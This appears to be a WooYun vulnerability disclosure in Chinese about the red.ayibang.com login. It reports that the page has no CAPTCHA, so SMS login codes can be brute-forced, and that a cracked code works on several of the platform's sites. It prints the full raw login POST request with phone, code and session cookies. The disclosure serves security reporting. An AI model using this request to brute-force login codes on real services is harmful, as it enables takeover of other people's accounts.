WooYun.org

阿姨帮任意用户登录
问题网站：red.ayibang.com 
HI~你好~并未与WooYun-2015-122517 重复，域名不同

red.ayibang.com可以登录阿姨帮，且没有验证码，而爆破出的手机登录验证码可用于多个平台登录

POST /login HTTP/1.1
Host: red.ayibang.com
Proxy-Connection: keep-alive
Content-Length: 593
Accept: application/json
Origin: http://red.ayibang.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://red.ayibang.com/login?data=YTo1OntzOjEwOiJvcmRlcl90aW1lIjtzOjE2OiIyMDE1LTEwLTI4IDEwOjAwIjtzOjEzOiJvcmRlcl9hZGRyZXNzIjtzOjQ6InpjYXMiO3M6NDoiYXJlYSI7czo5OiJ1bmRlZmluZWQiO3M6Nzoia2V5d29yZCI7czoyMDoicHJvamVjdF9jbGVhbl9mcmlkZ2UiO3M6MTI6Im9yZGVyX3JlbWFyayI7czo3OiJkYXNkYXNkIjt9&return_url=/appointment/?keyword=project_clean_fridge
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=29dbme5s6qol1ldu2ut5ruucv1; Hm_lvt_26a1b3a2f43711fdc32ef64c66a91ec0=1445855848; Hm_lpvt_26a1b3a2f43711fdc32ef64c66a91ec0=1445857939; city=HutcOBNxHtBQ1Zt9Vf1bPK5HlALWxCB%2FOysewRC7UNE%3D; token=jEjKL0ScM2Sv160VZ4mawLDSW6N8eUmgMrIGw8%2BxPxw%3D
Connection: close
phone=13333333333&code=5621&return_url=%2Fappointment%2F%3Fkeyword%3Dproject_clean_fridge%26data%3DYTo1OntzOjEwOiJvcmRlcl90aW1lIjtzOjE2OiIyMDE1LTEwLTI4IDEwOjAwIjtzOjEzOiJvcmRlcl9hZGRyZXNzIjtzOjQ6InpjYXMiO3M6NDoiYXJlYSI7czo5OiJ1bmRlZmluZWQiO3M6Nzoia2V5d29yZCI7czoyMDoicHJvamVjdF9jbGVhbl9mcmlkZ2UiO3M6MTI6Im9yZGVyX3JlbWFyayI7czo3OiJkYXNkYXNkIjt9&data=YTo1OntzOjEwOiJvcmRlcl90aW1lIjtzOjE2OiIyMDE1LTEwLTI4IDEwOjAwIjtzOjEzOiJvcmRlcl9hZGRyZXNzIjtzOjQ6InpjYXMiO3M6NDoiYXJlYSI7czo5OiJ1bmRlZmluZWQiO3M6Nzoia2V5d29yZCI7czoyMDoicHJvamVjdF9jbGVhbl9mcmlkZ2UiO3M6MTI6Im9yZGVyX3JlbWFyayI7czo3OiJkYXNkYXNkIjt9